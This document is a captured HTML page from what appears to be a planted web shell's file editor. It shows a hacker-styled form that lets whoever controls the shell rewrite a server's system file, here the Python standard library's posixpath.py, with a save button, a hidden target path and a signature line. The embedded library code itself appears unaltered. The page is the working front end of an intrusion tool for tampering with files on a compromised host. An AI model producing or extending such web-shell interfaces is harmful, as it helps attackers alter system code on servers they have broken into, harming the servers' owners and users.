

<div style='background:#0a0a0a; color:#00ff41; font-family:monospace; padding:20px; max-width:900px; margin:20px auto; border:1px solid #00ff41;'><h2 style='color:#ffcc80;'>✏ EDIT: posixpath.py</h2><form method='post' action='?opcion=editar_guardar'><textarea name='contenido' rows='20' style='width:100%; background:#1a1a1a; color:#00ff41; border:1px solid #00ff41; font-family:monospace; padding:10px;'>&quot;&quot;&quot;Common operations on Posix pathnames.

Instead of importing this module directly, import os and refer to
this module as os.path.  The &quot;os.path&quot; name is an alias for this
module on Posix systems; on other systems (e.g. Windows),
os.path provides the same operations in a manner specific to that
platform, and is an alias to another module (e.g. ntpath).

Some of this can actually be useful on non-Posix systems too, e.g.
for manipulation of the pathname component of URLs.
&quot;&quot;&quot;

# Strings representing various path-related bits and pieces.
# These are primarily for export; internally, they are hardcoded.
# Should be set before imports for resolving cyclic dependency.
curdir = &#039;.&#039;
pardir = &#039;..&#039;
extsep = &#039;.&#039;
sep = &#039;/&#039;
pathsep = &#039;:&#039;
defpath = &#039;/bin:/usr/bin&#039;
altsep = None
devnull = &#039;/dev/null&#039;

import errno
import os
import sys
import stat
import genericpath
from genericpath import *

__all__ = [&quot;normcase&quot;,&quot;isabs&quot;,&quot;join&quot;,&quot;splitdrive&quot;,&quot;splitroot&quot;,&quot;split&quot;,&quot;splitext&quot;,
           &quot;basename&quot;,&quot;dirname&quot;,&quot;commonprefix&quot;,&quot;getsize&quot;,&quot;getmtime&quot;,
           &quot;getatime&quot;,&quot;getctime&quot;,&quot;islink&quot;,&quot;exists&quot;,&quot;lexists&quot;,&quot;isdir&quot;,&quot;isfile&quot;,
           &quot;ismount&quot;, &quot;expanduser&quot;,&quot;expandvars&quot;,&quot;normpath&quot;,&quot;abspath&quot;,
           &quot;samefile&quot;,&quot;sameopenfile&quot;,&quot;samestat&quot;,
           &quot;curdir&quot;,&quot;pardir&quot;,&quot;sep&quot;,&quot;pathsep&quot;,&quot;defpath&quot;,&quot;altsep&quot;,&quot;extsep&quot;,
           &quot;devnull&quot;,&quot;realpath&quot;,&quot;supports_unicode_filenames&quot;,&quot;relpath&quot;,
           &quot;commonpath&quot;, &quot;isjunction&quot;,&quot;isdevdrive&quot;,&quot;ALLOW_MISSING&quot;]


def _get_sep(path):
    if isinstance(path, bytes):
        return b&#039;/&#039;
    else:
        return &#039;/&#039;

# Normalize the case of a pathname.  Trivial in Posix, string.lower on Mac.
# On MS-DOS this may also turn slashes into backslashes; however, other
# normalizations (such as optimizing &#039;../&#039; away) are not allowed
# (another function should be defined to do that).

def normcase(s):
    &quot;&quot;&quot;Normalize case of pathname.  Has no effect under Posix&quot;&quot;&quot;
    return os.fspath(s)


# Return whether a path is absolute.
# Trivial in Posix, harder on the Mac or MS-DOS.

def isabs(s):
    &quot;&quot;&quot;Test whether a path is absolute&quot;&quot;&quot;
    s = os.fspath(s)
    sep = _get_sep(s)
    return s.startswith(sep)


# Join pathnames.
# Ignore the previous parts if a part is absolute.
# Insert a &#039;/&#039; unless the first part is empty or already ends in &#039;/&#039;.

def join(a, *p):
    &quot;&quot;&quot;Join two or more pathname components, inserting &#039;/&#039; as needed.
    If any component is an absolute path, all previous path components
    will be discarded.  An empty last part will result in a path that
    ends with a separator.&quot;&quot;&quot;
    a = os.fspath(a)
    sep = _get_sep(a)
    path = a
    try:
        for b in p:
            b = os.fspath(b)
            if b.startswith(sep) or not path:
                path = b
            elif path.endswith(sep):
                path += b
            else:
                path += sep + b
    except (TypeError, AttributeError, BytesWarning):
        genericpath._check_arg_types(&#039;join&#039;, a, *p)
        raise
    return path


# Split a path in head (everything up to the last &#039;/&#039;) and tail (the
# rest).  If the path ends in &#039;/&#039;, tail will be empty.  If there is no
# &#039;/&#039; in the path, head  will be empty.
# Trailing &#039;/&#039;es are stripped from head unless it is the root.

def split(p):
    &quot;&quot;&quot;Split a pathname.  Returns tuple &quot;(head, tail)&quot; where &quot;tail&quot; is
    everything after the final slash.  Either part may be empty.&quot;&quot;&quot;
    p = os.fspath(p)
    sep = _get_sep(p)
    i = p.rfind(sep) + 1
    head, tail = p[:i], p[i:]
    if head and head != sep*len(head):
        head = head.rstrip(sep)
    return head, tail


# Split a path in root and extension.
# The extension is everything starting at the last dot in the last
# pathname component; the root is everything before that.
# It is always true that root + ext == p.

def splitext(p):
    p = os.fspath(p)
    if isinstance(p, bytes):
        sep = b&#039;/&#039;
        extsep = b&#039;.&#039;
    else:
        sep = &#039;/&#039;
        extsep = &#039;.&#039;
    return genericpath._splitext(p, sep, None, extsep)
splitext.__doc__ = genericpath._splitext.__doc__

# Split a pathname into a drive specification and the rest of the
# path.  Useful on DOS/Windows/NT; on Unix, the drive is always empty.

def splitdrive(p):
    &quot;&quot;&quot;Split a pathname into drive and path. On Posix, drive is always
    empty.&quot;&quot;&quot;
    p = os.fspath(p)
    return p[:0], p


try:
    from posix import _path_splitroot_ex as splitroot
except ImportError:
    def splitroot(p):
        &quot;&quot;&quot;Split a pathname into drive, root and tail.

        The tail contains anything after the root.&quot;&quot;&quot;
        p = os.fspath(p)
        if isinstance(p, bytes):
            sep = b&#039;/&#039;
            empty = b&#039;&#039;
        else:
            sep = &#039;/&#039;
            empty = &#039;&#039;
        if p[:1] != sep:
            # Relative path, e.g.: &#039;foo&#039;
            return empty, empty, p
        elif p[1:2] != sep or p[2:3] == sep:
            # Absolute path, e.g.: &#039;/foo&#039;, &#039;///foo&#039;, &#039;////foo&#039;, etc.
            return empty, sep, p[1:]
        else:
            # Precisely two leading slashes, e.g.: &#039;//foo&#039;. Implementation defined per POSIX, see
            # https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap04.html#tag_04_13
            return empty, p[:2], p[2:]


# Return the tail (basename) part of a path, same as split(path)[1].

def basename(p):
    &quot;&quot;&quot;Returns the final component of a pathname&quot;&quot;&quot;
    p = os.fspath(p)
    sep = _get_sep(p)
    i = p.rfind(sep) + 1
    return p[i:]


# Return the head (dirname) part of a path, same as split(path)[0].

def dirname(p):
    &quot;&quot;&quot;Returns the directory component of a pathname&quot;&quot;&quot;
    p = os.fspath(p)
    sep = _get_sep(p)
    i = p.rfind(sep) + 1
    head = p[:i]
    if head and head != sep*len(head):
        head = head.rstrip(sep)
    return head


# Is a path a mount point?
# (Does this work for all UNIXes?  Is it even guaranteed to work by Posix?)

def ismount(path):
    &quot;&quot;&quot;Test whether a path is a mount point&quot;&quot;&quot;
    try:
        s1 = os.lstat(path)
    except (OSError, ValueError):
        # It doesn&#039;t exist -- so not a mount point. :-)
        return False
    else:
        # A symlink can never be a mount point
        if stat.S_ISLNK(s1.st_mode):
            return False

    path = os.fspath(path)
    if isinstance(path, bytes):
        parent = join(path, b&#039;..&#039;)
    else:
        parent = join(path, &#039;..&#039;)
    try:
        s2 = os.lstat(parent)
    except OSError:
        parent = realpath(parent)
        try:
            s2 = os.lstat(parent)
        except OSError:
            return False

    # path/.. on a different device as path or the same i-node as path
    return s1.st_dev != s2.st_dev or s1.st_ino == s2.st_ino


# Expand paths beginning with &#039;~&#039; or &#039;~user&#039;.
# &#039;~&#039; means $HOME; &#039;~user&#039; means that user&#039;s home directory.
# If the path doesn&#039;t begin with &#039;~&#039;, or if the user or $HOME is unknown,
# the path is returned unchanged (leaving error reporting to whatever
# function is called with the expanded path as argument).
# See also module &#039;glob&#039; for expansion of *, ? and [...] in pathnames.
# (A function should also be defined to do full *sh-style environment
# variable expansion.)

def expanduser(path):
    &quot;&quot;&quot;Expand ~ and ~user constructions.  If user or $HOME is unknown,
    do nothing.&quot;&quot;&quot;
    path = os.fspath(path)
    if isinstance(path, bytes):
        tilde = b&#039;~&#039;
    else:
        tilde = &#039;~&#039;
    if not path.startswith(tilde):
        return path
    sep = _get_sep(path)
    i = path.find(sep, 1)
    if i &lt; 0:
        i = len(path)
    if i == 1:
        if &#039;HOME&#039; not in os.environ:
            try:
                import pwd
            except ImportError:
                # pwd module unavailable, return path unchanged
                return path
            try:
                userhome = pwd.getpwuid(os.getuid()).pw_dir
            except KeyError:
                # bpo-10496: if the current user identifier doesn&#039;t exist in the
                # password database, return the path unchanged
                return path
        else:
            userhome = os.environ[&#039;HOME&#039;]
    else:
        try:
            import pwd
        except ImportError:
            # pwd module unavailable, return path unchanged
            return path
        name = path[1:i]
        if isinstance(name, bytes):
            name = os.fsdecode(name)
        try:
            pwent = pwd.getpwnam(name)
        except KeyError:
            # bpo-10496: if the user name from the path doesn&#039;t exist in the
            # password database, return the path unchanged
            return path
        userhome = pwent.pw_dir
    # if no user home, return the path unchanged on VxWorks
    if userhome is None and sys.platform == &quot;vxworks&quot;:
        return path
    if isinstance(path, bytes):
        userhome = os.fsencode(userhome)
    userhome = userhome.rstrip(sep)
    return (userhome + path[i:]) or sep


# Expand paths containing shell variable substitutions.
# This expands the forms $variable and ${variable} only.
# Non-existent variables are left unchanged.

_varpattern = r&#039;\$(\w+|\{[^}]*\}?)&#039;
_varsub = None
_varsubb = None

def expandvars(path):
    &quot;&quot;&quot;Expand shell variables of form $var and ${var}.  Unknown variables
    are left unchanged.&quot;&quot;&quot;
    path = os.fspath(path)
    global _varsub, _varsubb
    if isinstance(path, bytes):
        if b&#039;$&#039; not in path:
            return path
        if not _varsubb:
            import re
            _varsubb = re.compile(_varpattern.encode(), re.ASCII).sub
        sub = _varsubb
        start = b&#039;{&#039;
        end = b&#039;}&#039;
        environ = getattr(os, &#039;environb&#039;, None)
    else:
        if &#039;$&#039; not in path:
            return path
        if not _varsub:
            import re
            _varsub = re.compile(_varpattern, re.ASCII).sub
        sub = _varsub
        start = &#039;{&#039;
        end = &#039;}&#039;
        environ = os.environ

    def repl(m):
        name = m[1]
        if name.startswith(start):
            if not name.endswith(end):
                return m[0]
            name = name[1:-1]
        try:
            if environ is None:
                value = os.fsencode(os.environ[os.fsdecode(name)])
            else:
                value = environ[name]
        except KeyError:
            return m[0]
        else:
            return value

    return sub(repl, path)


# Normalize a path, e.g. A//B, A/./B and A/foo/../B all become A/B.
# It should be understood that this may change the meaning of the path
# if it contains symbolic links!

try:
    from posix import _path_normpath as normpath

except ImportError:
    def normpath(path):
        &quot;&quot;&quot;Normalize path, eliminating double slashes, etc.&quot;&quot;&quot;
        path = os.fspath(path)
        if isinstance(path, bytes):
            sep = b&#039;/&#039;
            dot = b&#039;.&#039;
            dotdot = b&#039;..&#039;
        else:
            sep = &#039;/&#039;
            dot = &#039;.&#039;
            dotdot = &#039;..&#039;
        if not path:
            return dot
        _, initial_slashes, path = splitroot(path)
        comps = path.split(sep)
        new_comps = []
        for comp in comps:
            if not comp or comp == dot:
                continue
            if (comp != dotdot or (not initial_slashes and not new_comps) or
                 (new_comps and new_comps[-1] == dotdot)):
                new_comps.append(comp)
            elif new_comps:
                new_comps.pop()
        comps = new_comps
        path = initial_slashes + sep.join(comps)
        return path or dot


def abspath(path):
    &quot;&quot;&quot;Return an absolute path.&quot;&quot;&quot;
    path = os.fspath(path)
    if isinstance(path, bytes):
        if not path.startswith(b&#039;/&#039;):
            path = join(os.getcwdb(), path)
    else:
        if not path.startswith(&#039;/&#039;):
            path = join(os.getcwd(), path)
    return normpath(path)


# Return a canonical path (i.e. the absolute location of a file on the
# filesystem).

def realpath(filename, *, strict=False):
    &quot;&quot;&quot;Return the canonical path of the specified filename, eliminating any
symbolic links encountered in the path.&quot;&quot;&quot;
    filename = os.fspath(filename)
    if isinstance(filename, bytes):
        sep = b&#039;/&#039;
        curdir = b&#039;.&#039;
        pardir = b&#039;..&#039;
        getcwd = os.getcwdb
    else:
        sep = &#039;/&#039;
        curdir = &#039;.&#039;
        pardir = &#039;..&#039;
        getcwd = os.getcwd
    if strict is ALLOW_MISSING:
        ignored_error = FileNotFoundError
        strict = True
    elif strict:
        ignored_error = ()
    else:
        ignored_error = OSError

    maxlinks = None

    # The stack of unresolved path parts. When popped, a special value of None
    # indicates that a symlink target has been resolved, and that the original
    # symlink path can be retrieved by popping again. The [::-1] slice is a
    # very fast way of spelling list(reversed(...)).
    rest = filename.split(sep)[::-1]

    # Number of unprocessed parts in &#039;rest&#039;. This can differ from len(rest)
    # later, because &#039;rest&#039; might contain markers for unresolved symlinks.
    part_count = len(rest)

    # The resolved path, which is absolute throughout this function.
    # Note: getcwd() returns a normalized and symlink-free path.
    path = sep if filename.startswith(sep) else getcwd()

    # Mapping from symlink paths to *fully resolved* symlink targets. If a
    # symlink is encountered but not yet resolved, the value is None. This is
    # used both to detect symlink loops and to speed up repeated traversals of
    # the same links.
    seen = {}

    while part_count:
        name = rest.pop()
        if name is None:
            # resolved symlink target
            seen[rest.pop()] = path
            continue
        part_count -= 1
        if not name or name == curdir:
            # current dir
            continue
        if name == pardir:
            # parent dir
            path = path[:path.rindex(sep)] or sep
            continue
        if path == sep:
            newpath = path + name
        else:
            newpath = path + sep + name
        try:
            st_mode = os.lstat(newpath).st_mode
            if not stat.S_ISLNK(st_mode):
                if strict and part_count and not stat.S_ISDIR(st_mode):
                    raise OSError(errno.ENOTDIR, os.strerror(errno.ENOTDIR),
                                  newpath)
                path = newpath
                continue
            if newpath in seen:
                # Already seen this path
                path = seen[newpath]
                if path is not None:
                    # use cached value
                    continue
                # The symlink is not resolved, so we must have a symlink loop.
                if strict:
                    # Raise OSError(errno.ELOOP)
                    os.stat(newpath)
                path = newpath
                continue
            target = os.readlink(newpath)
        except ignored_error:
            pass
        else:
            # Resolve the symbolic link
            if target.startswith(sep):
                # Symlink target is absolute; reset resolved path.
                path = sep
            if maxlinks is None:
                # Mark this symlink as seen but not fully resolved.
                seen[newpath] = None
                # Push the symlink path onto the stack, and signal its specialness
                # by also pushing None. When these entries are popped, we&#039;ll
                # record the fully-resolved symlink target in the &#039;seen&#039; mapping.
                rest.append(newpath)
                rest.append(None)
            # Push the unresolved symlink target parts onto the stack.
            target_parts = target.split(sep)[::-1]
            rest.extend(target_parts)
            part_count += len(target_parts)
            continue
        # An error occurred and was ignored.
        path = newpath

    return path


supports_unicode_filenames = (sys.platform == &#039;darwin&#039;)

def relpath(path, start=None):
    &quot;&quot;&quot;Return a relative version of a path&quot;&quot;&quot;

    path = os.fspath(path)
    if not path:
        raise ValueError(&quot;no path specified&quot;)

    if isinstance(path, bytes):
        curdir = b&#039;.&#039;
        sep = b&#039;/&#039;
        pardir = b&#039;..&#039;
    else:
        curdir = &#039;.&#039;
        sep = &#039;/&#039;
        pardir = &#039;..&#039;

    if start is None:
        start = curdir
    else:
        start = os.fspath(start)

    try:
        start_tail = abspath(start).lstrip(sep)
        path_tail = abspath(path).lstrip(sep)
        start_list = start_tail.split(sep) if start_tail else []
        path_list = path_tail.split(sep) if path_tail else []
        # Work out how much of the filepath is shared by start and path.
        i = len(commonprefix([start_list, path_list]))

        rel_list = [pardir] * (len(start_list)-i) + path_list[i:]
        if not rel_list:
            return curdir
        return sep.join(rel_list)
    except (TypeError, AttributeError, BytesWarning, DeprecationWarning):
        genericpath._check_arg_types(&#039;relpath&#039;, path, start)
        raise


# Return the longest common sub-path of the sequence of paths given as input.
# The paths are not normalized before comparing them (this is the
# responsibility of the caller). Any trailing separator is stripped from the
# returned path.

def commonpath(paths):
    &quot;&quot;&quot;Given a sequence of path names, returns the longest common sub-path.&quot;&quot;&quot;

    paths = tuple(map(os.fspath, paths))

    if not paths:
        raise ValueError(&#039;commonpath() arg is an empty sequence&#039;)

    if isinstance(paths[0], bytes):
        sep = b&#039;/&#039;
        curdir = b&#039;.&#039;
    else:
        sep = &#039;/&#039;
        curdir = &#039;.&#039;

    try:
        split_paths = [path.split(sep) for path in paths]

        try:
            isabs, = {p.startswith(sep) for p in paths}
        except ValueError:
            raise ValueError(&quot;Can&#039;t mix absolute and relative paths&quot;) from None

        split_paths = [[c for c in s if c and c != curdir] for s in split_paths]
        s1 = min(split_paths)
        s2 = max(split_paths)
        common = s1
        for i, c in enumerate(s1):
            if c != s2[i]:
                common = s1[:i]
                break

        prefix = sep if isabs else sep[:0]
        return prefix + sep.join(common)
    except (TypeError, AttributeError):
        genericpath._check_arg_types(&#039;commonpath&#039;, *paths)
        raise
</textarea><br><br><input type='hidden' name='archivo_editar' value='/opt/alt/python313/lib64/python3.13/posixpath.py'><input type='submit' value='[✓] SAVE' style='background:#00ff41; color:#0a0a0a; border:none; padding:10px 30px; font-family:monospace; cursor:pointer;'> <a href='?path=%2Fopt%2Falt%2Fpython313%2Flib64%2Fpython3.13' style='color:#858585; text-decoration:none; padding:10px 30px; border:1px solid #858585;'>[✗] CANCEL</a></form></div><div style='color:#00ff41; font-family:monospace; text-align:center; padding:20px;'>[~] Kerym Chaeceran</div>